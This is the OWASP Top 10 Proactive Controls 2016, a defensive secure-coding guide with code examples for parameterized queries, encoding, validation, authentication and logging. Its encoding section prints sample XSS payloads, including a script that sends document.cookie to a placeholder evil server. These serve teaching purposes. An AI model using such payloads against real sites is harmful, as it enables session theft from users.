OWASP Top 10 Proactive Controls 2016

10 Critical Security Areas That Web Developers Must Be Aware Of

About OWASP

The Open Web Application Security Project (OWASP) is a 501c3 non for profit educational charity dedicated to enabling organizations to design, develop, acquire, operate, and maintain secure software. All OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security. We can be found at www.owasp.org.

OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost-effective information about application security. OWASP is not affiliated with any technology company. Similar to many open-source software projects, OWASP produces many types of materials in a collaborative and open way. The OWASP Foundation is a not-for-profit entity that ensures the project's long-term success.

Introduction

Insecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure worldwide. As our digital, global infrastructure gets increasingly complex and interconnected, the difficulty of achieving application security increases exponentially. We can no longer afford to tolerate relatively simple security problems.

The goal of the *OWASP Top 10 Proactive Controls* project is to raise awareness about application security by describing the most important areas of concern that software developers must be aware of. We encourage you to use the *OWASP Proactive Controls* to get your developers started with application security. Developers can learn from the mistakes of other organizations. We hope that the *OWASP Proactive Controls* is useful to your efforts in building secure software. Please don't hesitate to contact the OWASP Proactive Control project with your questions, comments, and ideas, either publicly to our email list or privately to jim@owasp.org.

License

Project Leaders

Katy Anton
Jim Bird
Jim Manico

Contributors

Cassio Goldschmidt
Eyal Estrin (Hebrew Translation)
Cyrille Grandval (French Translation)
Frédéric Baillon (French Translation)
Danny Harris
Any many more….

Stephen de Vries
Andrew Van Der Stock
Gaz Heyes
Colin Watson
Jason Coleman

The OWASP Top Ten Proactive Controls 2016 is a list of security concepts that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important.

1. Verify for Security Early and Often
2. Parameterize Queries
3. Encode Data
4. Validate All Inputs
5. Implement Identity and Authentication Controls
6. Implement Appropriate Access Controls
7. Protect Data
8. Implement Logging and Intrusion Detection
9. Leverage Security Frameworks and Libraries
10. Error and Exception Handling

1: Verify for Security Early and Often

Control Description

In many organizations security testing is done outside of development testing loops, following a “scan-then-fix” approach. The security team runs a scanning tool or conducts a pen test, triages the results, and then presents the development team a list of vulnerabilities to be fixed. This is often referred to as "the hamster wheel of pain". There is a better way.

Security testing needs to be an integral part of a developer’s software engineering practice. Just as you can’t “test quality in”, you can’t “test security in” by doing security testing at the end of a project. You need to verify security early and often, whether through manual testing or automated tests and scans.

Include security while writing testing stories and tasks. Include the Proactive Controls in stubs and drivers. Security testing stories should be defined such that the lowest child story can be implemented and accepted in a single iteration; testing a Proactive Control must be lightweight. Consider OWASP ASVS as a guide to define security requirements and testing.

Consider maintaining a sound story template, “As a <user type> I want <function> so that <benefit>.” Consider data protections early. Include security up front when the *definition of done* is defined.

Stretching fixes out over multiple sprints can be avoided if the security team makes the effort to **convert scanning output into reusable Proactive Controls to avoid entire classes of problems**. Otherwise, approach the output of security scans as an epoch, addressing the results over more than one sprint. Have spikes to do research and convert findings into defects, write the defects in Proactive Control terms, and have Q&A sessions with the security team ensuring testing tasks actually verify the Proactive Control fixed the defect.

Take advantage of agile practices like *Test Driven Development*, *Continuous Integration* and “*relentless testing*”. These practices make developers responsible for testing their own work, through fast, automated feedback loops.

Vulnerabilities Prevented

- All of them!

References

- OWASP Testing Guide: https://www.owasp.org/index.php/OWASP_Testing_Project
- OWASP ASVS: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project

Tools

- OWASP ZAP
- OWASP Web Testing Environment Project
- OWASP_OWTF
- BDD Security Open Source Testing Framework
- Gauntlt Security Testing Open Source Framework

Training

- OWASP Security Shepherd
- OWASP Mutillidae 2 Project

2: Parameterize Queries

Control Description

SQL Injection is one of the most dangerous web application risks. SQL Injection is easy to exploit with many open source automated attack tools available. SQL injection can also deliver an impact to your application that is devastating.

The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, or modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database. The main concern with SQL injection is the fact, that the SQL query and its parameters are contained in one query string.

In order to mitigate SQL injection, untrusted input should be prevented from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as 'Query Parameterization'. In this case, the SQL statements are sent to and parsed by the database server separately from any parameters.

Many development frameworks (Rails, Django, Node.js, etc.) employ an object-relational model (ORM) to abstract communication with a database. Many ORMs provide automatic query parameterization when using programmatic methods to retrieve and modify data, but developers should still be cautious when allowing user input into object queries (OQL/HQL) or other advanced queries supported by the framework.

Proper defense in depth against SQL injection includes the use of technologies such as automated static analysis and proper database management system configuration. If possible, database engines should be configured to only support parameterized queries.

Java Examples

Here is an example of query parameterization in Java:

```
String newName = request.getParameter("newName");
int id = Integer.parseInt(request.getParameter("id"));
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET
NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setInt(2, id);
```

PHP Examples

Here is an example of query parameterization in PHP using PDO:

```
$stmt = $dbh->prepare(”update users set email=:new_email where
id=:user_id”);
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
```

Python Examples

Here is an example of query parameterization in Python:

```
email  = REQUEST[‘email’]
id = REQUEST[‘id’]
cur.execute(update users set email=:new_email where id=:user_id”,
{"new_email": email, "user_id": id})
```

.NET Examples

Here is an example of Query Parameterization in C#.NET:

```
string sql = "SELECT * FROM Customers WHERE CustomerId =
@CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId",
System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;
```

Risks Addressed

- OWASP Top 10 2013-A1-Injection
- OWASP Mobile Top 10 2014-M1 Weak Server Side Controls

References

- OWASP Query Parameterization Cheat Sheet
- OWASP SQL Injection Cheat Sheet
- OWASP Quick Reference Guide

3: Encode Data

Control Description

Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent form that is no longer dangerous in the target interpreter. Encoding is needed to stop various forms of injection including command injection (Unix command encoding, Windows command encoding), LDAP injection (LDAP encoding) and XML injection (XML encoding). Another example of encoding is output encoding which is necessary to prevent cross site scripting (HTML entity encoding, JavaScript hex encoding, etc).

Web Development

Web developers often build web pages dynamically, consisting of a mix of static, developer built HTML/JavaScript and data that was originally populated with user input or some other untrusted source. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross-Site Scripting (XSS) occurs when an attacker tricks your users into executing malicious script that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects.

Examples

XSS site defacement:

```
<script>document.body.innerHTML("Jim was here");</script>
```

XSS session theft:

```
<script>
var img = new Image();
img.src="http://<some evil server>.com?" + document.cookie;
</script>
```

Types of XSS

There are three main classes of XSS:

- Persistent
- Reflected
- DOM based

Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will typically already be logged into the site when the attack is executed, and a single injection attack can affect many different users.

Reflected XSS occurs when the attacker places an XSS payload as part of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since it requires a degree of interaction between the attacker and the victim.

DOM based XSS is an XSS attack that occurs in DOM, rather than in HTML code. That is, the page itself does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. It can only be observed on runtime or by investigating the DOM of the page.

For example, the source code of page http://www.example.com/test.html contains the following code:

```
<script>
      document.write("<b>Current URL<b> : " + document.baseURI);
</script>
```

A DOM Based XSS attack against this page can be accomplished by sending the following URL: `http://www.example.com/test.html#<script>alert(1)</script>`

When looking at the source of the page, you cannot see <script>alert(1)</script> because it's all happening in the DOM and is done by the executed JavaScript code.

Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you're building a user interface, at the last moment before untrusted data is dynamically added to HTML. The type of encoding required will depend on the HTML context of where the untrusted data is added, for example in an attribute value, or in the main HTML body, or even in a JavaScript code block.

The encoding functions required to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). OWASP's Java Encoder Project provides encoders for these functions in Java. In .NET 4.5, the AntiXssEncoder Class provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are

included in the open source AntiXSS library. Every other web language has some kind of encoding library or support.

Mobile Development

In mobile application, the Web View enables android/iOS application to render HTML/JavaScript content, and uses the same core frameworks as native browsers (Safari and Chrome). In like manner as a Web application, XSS can occur in an iOS/Android application when HTML/Javascript content is loaded into a Web View without sanitization/encoding. Consequently, a web view can be used by a malicious third party application to perform client-side injection attacks (example: taking a photo, accessing geolocation and sending SMS/E-Mails). This could lead to personal information leakage and financial damage.
Some best practices to protect a mobile app from Cross-Site Scripting attacks depending on the context of using Web View :

1) Manipulating user-generated content: ensure that data is filtered and/or encoded when presenting it in the Web View.
2) Loading content from an external source: apps that need to display untrusted content inside a Web View should use a dedicated server/host to render and escape HTML/Javascript content in a safe way. This prevents access to local system contents by malicious Javascript code.

Java Examples

For examples of the OWASP Java Encoder protecting against Cross-site scripting, see: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project

PHP Examples

Zend Framework 2

In Zend framework 2, Zend\Escaper can be used for escaping data that is to be output.
Example of php code in ZF2:

```
<?php
$input = '<script>alert("zf2")</script>';
$escaper = new Zend\Escaper\Escaper('utf-8');
// somewhere in an HTML template
<div class="user-provided-input">
    <?php echo $escaper->escapeHtml($input);?>
</div>
```

Vulnerabilities Prevented

- OWASP Top 10 2013-A1-Injection
- OWASP Top 10 2013-A3-Cross-Site_Scripting_(XSS)
- OWASP Mobile_Top_10_2014-M7 Client Side Injection

References

- General Information About Injection: OWASP Top 10 2013-A1-Injection
- General Information About XSS
- XSS Filter Evasion Attacks: OWASP XSS Filter Evasion Cheat Sheet
- Stopping XSS in your web application: OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet
- Stopping DOM XSS in Web Application: OWASP DOM based XSS Prevention Cheat Sheet
- Using Microsoft AntiXSS library as the default encoder in ASP.NET. http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/
- The Microsoft AntiXSS Library helps you protect your applications from Cross-Site Scripting attacks, primarily through encoding functions. https://msdn.microsoft.com/en-us/security/aa973814.aspx

Tools

- OWASP Java Encoder Project

4: Validate All Inputs

Control Description

Any data which is directly entered by, or influenced by, users should be treated as untrusted. An application should check that this data is both syntactically and semantically valid (in that order) before using it in any way (including displaying it back to the user). Additionally, the most secure applications treat all variables as untrusted and provide security controls regardless of the source of that data.

Syntax validity means that the data is in the form that is expected. For example, an application may allow a user to select a four-digit “account ID” to perform some kind of operation. The application should assume the user is entering a SQL injection payload, and should check that the data entered by the user is exactly four digits in length, and consists only of numbers (in addition to utilizing proper query parameterization).

Semantic validity means that the data is meaningful: In the above example, the application should assume that the user is maliciously entering an account ID the user is not permitted to access. The application should then check that the user has permission to access said account ID.

Input validation must be wholly server-side: client-side controls may be used for convenience. For example, JavaScript validation may alert the user that a particular field must consist of numbers, but the server must validate that the field actually does consist of numbers.

Background

A large majority of web application vulnerabilities arise from failing to correctly validate input, or not completely validating input. This “input” is not necessarily directly entered by users using a UI. In the context of web applications (and web services), this could include, but is not limited to:

- HTTP headers
- Cookies
- GET and POST parameters (including hidden fields)
- File uploads (including information such as the file name)

Similarly, in mobile applications, this can include:

- Inter-process communication (IPC - for example, Android Intents)
- Data retrieved from back-end web services
- Data retrieved from the device file system

Blacklisting vs Whitelisting

There are two general approaches to performing input syntax validation, commonly known as black-listing and whitelisting:

- Blacklisting attempts to check that a given user input does not contain “known to be malicious” content. This is similar to how an anti-virus program will operate: as a first line of defence, an anti-virus checks if a file exactly matches known malicious content, and if it does, it will reject it. This tends to be the weaker security strategy.

- Whitelisting attempts to check that a given user input matches a set of “known good” inputs. For example, a web application may allow you to select one of three cities - the application will then check that one of these cities has been selected, and rejects all other possible input. Character-based whitelisting is a form of whitelisting where an application will check that user input contains only “known good” characters, or matches a known format. For example, this may involve checking that a username contains only alphanumeric characters, and contains exactly two numbers.

When building secure software, whitelisting is the generally preferred approach. Blacklisting is prone to error and can be bypassed with various evasion techniques (and needs to be updated with new “signatures” when new attacks are created).

Regular Expressions

Regular expressions offer a way to check whether data matches a specific pattern - this is a great way to implement whitelist validation.

When a user first registers for an account on a hypothetical web application, some of the first pieces of data required are a username, password and email address. If this input came from a malicious user, the input could contain attack strings. By validating the user input to ensure that each piece of data contains only the valid set of characters and meets the expectations for data length, we can make attacking this web application more difficult.

Let’s start with the following regular expression for the username.

```
^[a-z0-9_]{3,16}$
```

This regular expression, input validation, whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.

Here is an example regular expression for the password field.

```
^(?=.*[a-z])(?=.*[A-Z])  (?=.*\d)  (?=.*[@#$%]).{10,4000}$
```

This regular expression ensures that a password is 10 to 4000 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).

Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).

```
^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
```

Care should be exercised when creating regular expressions. Poorly designed expressions may result in potential denial of service conditions (aka ReDDoS). A good static analysis or regular expression tester tool can help product development teams to proactively find instances of this case.

There are also special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text.i A regular expression is not the right tool to parse and sanitize untrusted HTML. Please see the XSS Prevention Cheat Sheet on HTML Sanitization for more information.

PHP Example

Available as standard since v5.2, the PHP filter extension contains a set of the functions that can be used to validate the user input but also to sanitize it by removing the illegal characters. They also provide a standard strategy for filtering data.

Example of both validation and sanitization :

```
<?php
$sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) {
   echo "This sanitized email address is considered valid.\n";
}
```

Caution : Regular Expressions

Please note, regular expressions are just one way to accomplish validation. Regular expressions can be difficult to maintain or understand for some developers. Other validation alternatives involve writing validation methods which expresses the rules more clearly.

Caution : Validation for Security

Input validation does not necessarily make untrusted input “safe” since it may be necessary to accept potentially dangerous characters as valid input. The security of the application should be enforced where that input is used, for example, if input is used to build an HTML response, then the appropriate HTML encoding should be performed to prevent Cross-Site Scripting attacks. Also, if input is used to build a SQL statement, Query Parameterization should be used. In both of these (and other) cases, input validation should NOT be relied on for security!

Vulnerabilities Prevented

- OWASP Top 10 2013-A1-Injection (in part)
- OWASP Top 10 2013-A3-Cross-Site_Scripting_(XSS) (in part)
- OWASP Top 10 2013-A10-Unvalidated_Redirects_and_Forwards

- OWASP Mobile Top 10 2014-M8 Security Decisions Via Untrusted Inputs (in part)

References

- OWASP Input Validation Cheat Sheet
- OWASP Testing for Input Validation
- OWASP iOS Cheat Sheet Security Decisions via Untrusted Inputs

Tools

- OWASP JSON Sanitizer Project
- OWASP Java HTML Sanitizer Project

5: Implement Identity and Authentication Controls

Control Description

Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.

Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forth between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally impossible to predict.

Identity Management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, delegation, identity repositories and more.

Below are some recommendation for secure implementation, and with code examples for each of them.

Use Multi-Factor Authentication

Multi-factor authentication (MFA) ensures that users are who they claim to be by requiring them to identify themselves with a combination of:

- Something they know – password or PIN
- Something they own – token or phone
- Something they are – biometrics, such as a fingerprint

Please see Authentication Cheat Sheet for further details.

Mobile Application: Token-Based Authentication

When building mobile applications, it's recommended to avoid storing/persisting authentication credentials locally on the device. Instead, perform initial authentication using the username and password supplied by the user, and then generate a short-lived access token which can be used to authenticate a client request without sending the user's credentials.

Implement Secure Password Storage

In order to provide strong authentication controls, an application must securely store user credentials. Furthermore, cryptographic controls should be in place such that if a credential (e.g. a password) is compromised, the attacker does not immediately have access to this information. Please see Password Storage Cheat Sheet for further details.

Implement Secure Password Recovery Mechanism

It is common for an application to have a mechanism for a user to gain access to their account in the event they forget their password. A good design workflow for a password recovery feature will use multi-factor authentication elements (for example ask security question - something they know, and then send a generated token to a device - something they own).

Please see Forgot Password Cheat Sheet and Choosing and Using Security Questions Cheat_Sheet for further details.

Session: Generation and Expiration

On any successful authentication and reauthentication the software should generate a new session and session id.

In order to minimize the time period an attacker can launch attacks over active sessions and hijack them, it is mandatory to set expiration timeouts for every session, after a specified period of inactivity. The length of timeout should be inversely proportional with the value of the data protected.

Please see Session Management Cheat Sheet further details.

Require Reauthentication for Sensitive Features

For sensitive transactions, like changing password or changing the shipping address for a purchase, it is important to require the user to re-authenticate and if feasible, to generate a new session ID upon successful authentication.

PHP Example for Password Hash

Below is an example for password hashing in PHP using password_hash() function (available since 5.5.0) which defaults to using the bcrypt algorithm. The example uses a work factor of 15.

```
<?php
 $cost  = 15;
 $password_hash = password_hash("secret_password", PASSWORD_DEFAULT,
["cost" => $cost] );
?>
```

Conclusion

Authentication and identity are very big topics. We're scratching the surface here. Ensure that your most senior engineering talent is responsible for your authentication solution.

Vulnerabilities Prevented

- OWASP Top 10 2013-A2-Broken_Authentication_and_Session_Management
- OWASP Mobile Top 10 2014-M5- Poor Authorization and Authentication

References

- OWASP Authentication Cheat Sheet
- OWASP Password Storage Cheat Sheet
- OWASP Forgot Password Cheat Sheet
- OWASP Choosing and Using Security Questions Cheat_Sheet
- OWASP Session Management Cheat Sheet
- OWASP Testing Guide 4.0: Testing for Authentication
- OWASP IOS Developer Cheat Sheet

6: Implement Access Controls

Control Description

Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused.

Access Control design may start simple, but can often grow into a rather complex and design-heavy security control. The following "positive" access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security design that must be heavily thought-through up front, especially when addressing requirements like multi-tenancy and horizontal (data specific) access control..

Force All Requests to go Through Access Control Checks

Most frameworks and languages only check a feature for access control if a programmer adds that check. The inverse is a more security-centric design, where all access is first verified. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.

Deny by Default

In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check.

Principle of Least Privilege

When designing access controls, each user or system component should be allocated the minimum privilege required to perform an action for the minimum amount of time.

Avoid Hard-Coded Access Control Checks

Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control "engine") should be separated when possible.

Code to the Activity

Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Consider checking if the user has access to that feature in code, as opposed to checking what role the user is in code. Such a

check should take into context the specific data/user relationship. For example, a user may be able to generally modify projects given their role, but access to a given project should also be checked if business/security rules dictate explicit permissions to do so.

So instead of hard-coding role check all throughout your code base:

```
if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {
     deleteAccount();
}
```

Please consider the following instead:

```
if (user.hasAccess("DELETE_ACCOUNT")) {
     deleteAccount();
}
```

Server-Side Trusted Data Should Drive Access Control

The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved "server-side" in a standard web or web service application. Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.

Java Examples

As discussed before, it's recommended to separate your access control policy definition from the business/logical layer (application code). This can be achieved by using a centralized security manager which allows flexible and customizable access control policy within your application. For example, Apache Shiro API provides a simple INI-based configuration file that can be used to define your access control policy in a modular/pluggable way. Apache Shiro also has the ability to interact with any other JavaBeans-compatible frameworks (Spring, Guice, JBoss, etc). Aspects also provide a good method for separating your access control from your application code, while providing an auditable implementation.

Vulnerabilities Prevented

- OWASP Top 10 2013-A4-Insecure Direct Object References
- OWASP Top 10 2013-A7-Missing Function Level Access Control
- OWASP Mobile Top 10 2014-M5 Poor Authorization and Authentication

References

- OWASP Access Control Cheat Sheet
- OWASP Testing Guide for Authorization
- OWASP iOS Developer Cheat Sheet Poor Authorization and Authentication

7: Protect Data

Encrypting data in Transit

When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. TLS is by far the most common and widely supported model used by web applications for encryption in transit. Despite published weaknesses in specific implementations (e.g. Heartbleed), it is still the defacto and recommended method for implementing transport layer encryption..

Encrypting data at Rest

Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI-DSS compliance standard. Also, any time you start building your own low-level cryptographic functions on your own, ensure you are or have the assistance of a deep applied expert. Instead of building cryptographic functions from scratch, it is strongly recommended that peer reviewed and open libraries be used instead, such as the Google KeyCzar project, Bouncy Castle and the functions included in SDKs. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software.

A common weakness in encrypting data at rest is using an inadequate key, or storing the key along with the encrypted data (the cryptographic equivalent of leaving a key under the doormat). Keys should be treated as secrets and only exist on the device in a transient state, e.g. entered by the user so that the data can be decrypted, and then erased from memory. Other alternatives include the use of specialized crypto hardware such as a *Hardware Security Module* (HSM) for key management and cryptographic process isolation.

Implement Protection in Transit

Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; or it could be written to temporary storage locations or log files, where it could be read by an attacker.

Mobile Application: Secure Local Storage

In the context of mobile devices, which are regularly lost or stolen, secure local data storage requires proper techniques. When an application does not implement properly the storage mechanisms, it may lead to serious information leakage (example: authentication credentials, access token, etc.). When managing critically sensitive data, the best path is to never save that data on a mobile device, even using known methods such as a iOS keychain.

Vulnerabilities Prevented

- OWASP Top 10 2013-A6-Sensitive_Data_Exposure
- OWASP Mobile Top 10 2014-M2 Insecure Data Storage

References

- Proper TLS configuration: OWASP Transport Layer Protection Cheat Sheet
- Protecting users from man-in-the-middle attacks via fraudulent TLS certificates: OWASP Pinning Cheat Sheet
- OWASP Cryptographic Storage Cheat Sheet
- OWASP Password Storage Cheat Sheet
- OWASP Testing for TLS
- IOS Developer Cheat Sheet : OWASP iOS Secure Data Storage
- IOS Application Security Testing Cheat Sheet : OWASP Insecure data storage

Tools

- OWASP O-Saft TLS Tool

8: Implement Logging and Intrusion Detection

Control Description

Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:

- Application monitoring
- Business analytics and insight
- Activity auditing and compliance monitoring
- System intrusion detection
- Forensics

Logging and tracking security events and metrics helps to enable "attack-driven defense": making sure that your security testing and controls are aligned with real-world attacks against your system.

To make correlation and analysis easier, follow a common logging approach within the system and across systems where possible, using an extensible logging framework like SLF4J with Logback or Apache Log4j2, to ensure that all log entries are consistent.

Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions.

It is important not to log too much, or too little. Make sure to always log the timestamp and identifying information like the source IP and user-id, but be careful not to log private or confidential data or opt-out data or secrets. Use knowledge of the intended purposes to guide what, when and how much to log. To protect from Log Injection aka log forging, make sure to perform encoding on untrusted data before logging it.

The OWASP AppSensor Project explains how to implement intrusion detection and automated response into an existing Web application: where to add sensors or detection points and what response actions to take when a security exception is encountered in your application. For example, if a server-side edit catches bad data that should already have been edited at the client, or catches a change to a non-editable field, then you either have some kind of coding bug or (more likely) somebody has bypassed client-side validation and is attacking your app. Don't just log this case and return an error: throw an alert, or take some other action to protect your system such as disconnecting the session or even locking the account in question.

In mobile applications, developers use logging functionality for debugging purpose, which may lead to sensitive information leakage. These console logs are not only accessible using the Xcode IDE (in iOS platform) or Logcat (in Android platform) but by any third party application installed on the same device. For this reason, best practice recommends to disable logging functionality into production release.

Disable logging in release Android application

The simplest way to avoid compiling Log Class into production release is to use the Android ProGuard tool to remove logging calls by adding the following option in the proguard-project.txt configuration file:

```
-assumenosideeffects class android.util.Log
```

```
{
public static boolean isLoggable(java.lang.String, int);
public static int v(...);
public static int i(...);
public static int w(...);
public static int d(...);
public static int e(...);
}
```

Disable logging in release iOS application

This technique can be also applied on iOS application by using the preprocessor to remove any logging statements :

```
#ifndef DEBUG
#define NSLog(...)
#endif
```

Vulnerabilities Prevented

- All Top Ten
- Mobile Top 10 2014-M4 Unintended Data Leakage

References

- How to properly implement logging in an application: OWASP Logging Cheat Sheet
- IOS Developer Cheat Sheet : OWASP Sensitive Information Disclosure
- OWASP Logging
- OWASP Reviewing Code for Logging Issues

Tools

- OWASP AppSensor Project
- OWASP Security Logging Project

9: Leverage Security Frameworks and Libraries

Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries and software frameworks with embedded security help software developers guard against security-related design and implementation flaws. A developer writing a

application from scratch might not have sufficient time and budget to implement security features and different industries have different standards and levels of security compliance.

When possible, the emphasis should be on using the existing secure features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of forcing yet another library on them. Web application security frameworks to consider include:

- Spring Security
- Apache Shiro
- Django Security
- Flask security

One must also consider that not all frameworks are immune from security flaws and some have a large attack surface due to the many features and third-party plugins available. A good example is the Wordpress framework (a very popular framework to get a simple website off the ground quickly), which pushes security updates, but cannot support the security in third-party plugins or applications. Therefore it is important to build in additional security where possible, updating frequently and verifying them for security early and often like any other software you depend upon.

Vulnerabilities Prevented

- Secure frameworks and libraries will typically prevent common web application vulnerabilities such as those listed in the OWASP Top Ten, particularly those based on syntactically incorrect input (e.g. supplying a Javascript payload instead of a username).
- It is critical to keep these frameworks and libraries up to date as described in the using components with known vulnerabilities Top Ten 2013 risk.

Key References

- OWASP PHP Security Cheat Sheet
- OWASP .NET Security Cheat Sheet
- Security tips and tricks for JavaScript MVC frameworks and templating libraries
- Angular Security
- OWASP Security Features in common Web Frameworks
- OWASP Java Security Libraries and Frameworks

Tools

- OWASP Dependency Check

10: Error and Exception Handling

Control Description

Implementing correct error and exception handling isn't exciting, but like input data validation, it is an important part of defensive coding, critical to making a system reliable as well as secure. Mistakes in error handling can lead to different kinds of security vulnerabilities:

1. Leaking information to attackers, helping them to understand more about your platform and design CWE 209. For example, returning a stack trace or other internal error details can tell an attacker too much about your environment. Returning different types of errors in different situations (for example, "invalid user" vs "invalid password" on authentication errors) can also help attackers find their way in.
2. Not checking errors, leading to errors going undetected, or unpredictable results such as CWE 391. Researchers at the University of Toronto have found that missing error handling, or small mistakes in error handling, are major contributors to catastrophic failures in distributed systems https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf.

Error and exception handling extends to critical business logic as well as security features and framework code. Careful code reviews, and negative testing (including exploratory testing and pen testing), fuzzing (https://www.owasp.org/index.php/Fuzzing) and fault injection can all help in finding problems in error handling. One of the most famous automated tools for this is Netflix's Chaos Monkey.

Positive Advice

1. It’s recommended to manage exceptions in a centralized manner to avoid duplicated try/catch blocks in the code, and to ensure that all unexpected behaviors are correctly handled inside the application.
2. Ensure that error messages displayed to users do not leak critical data, but are still verbose enough to explain the issue to the user.
3. Ensure that exceptions are logged in a way that gives enough information for Q/A, forensics or incident response teams to understand the problem.

Vulnerabilities Prevented

- All

References

- OWASP Code Review Guide - Error Handling
- OWASP Testing Guide - Testing for Error Handling
- OWASP Improper Error Handling

Tools

- Aspirator - A simple checker for exception handler bugs